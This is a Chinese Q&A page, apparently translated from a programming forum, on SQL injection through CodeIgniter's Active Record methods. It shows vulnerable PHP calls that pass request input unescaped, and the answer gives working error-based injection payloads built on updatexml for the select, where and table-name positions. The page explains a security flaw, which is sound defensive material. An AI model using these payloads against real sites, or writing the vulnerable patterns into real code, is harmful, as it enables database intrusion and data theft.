Codeigniter活动记录SQL注入

时间:2018-08-04 14:40:17

标签: codeigniter sql-injection

下面的查询容易受到SQL注入的攻击,其中$ evilInput来自get / post请求。

$this->db->select($evilInput); 
$this->db->where($evilInput2 ,"abc"); 
$query =  $this->db->get($evilInput3);
$count = $query->num_rows();

$this->db->where("a=$evilInput");

1 个答案:

答案 0 :(得分:0)

我想指出的是,在默认安装CodeIgniter时,所有这些都容易受到SQL注入的攻击。以下结果已经过测试和验证。

1) $this->db->select($evilInput)

此处输入位于select关键字之后。

select evilInput from table_name where column_name = 1;

在这里,如果我的邪恶输入参数包含以下内容:

updatexml(null,concat(0x3a,version()),null)-- -

实际查询将变为:

select updatexml(null,concat(0x3a,version()),null)-- - from table_name where column_name = 1;

2) $this->db->where($evilInput ,"abc")

这里的输入将转到WHERE子句之后的列名。

select * from table_name where evilInput = 1;

CodeIgniter不会转义或过滤此输入。可以很容易地利用类似这样的方法来利用它:

1=1 and updatexml(null,concat(0x3a,version()),null)-- -

3) $ query = $ this-> db-> get($ evilInput3)

输入在表名中。

select * from evilInput where column_name = 1;

如果用户输入类似以下内容,CodeIgniter不会阻止SQL注入:

information_schema.tables where 1=1 and updatexml(null,concat(0x3a,version()),null)-- -

4) $ this-> db-> where(“ a = $ evilInput”)

这容易受到简单SQL注入的攻击,因为输入直接连接到SQL查询。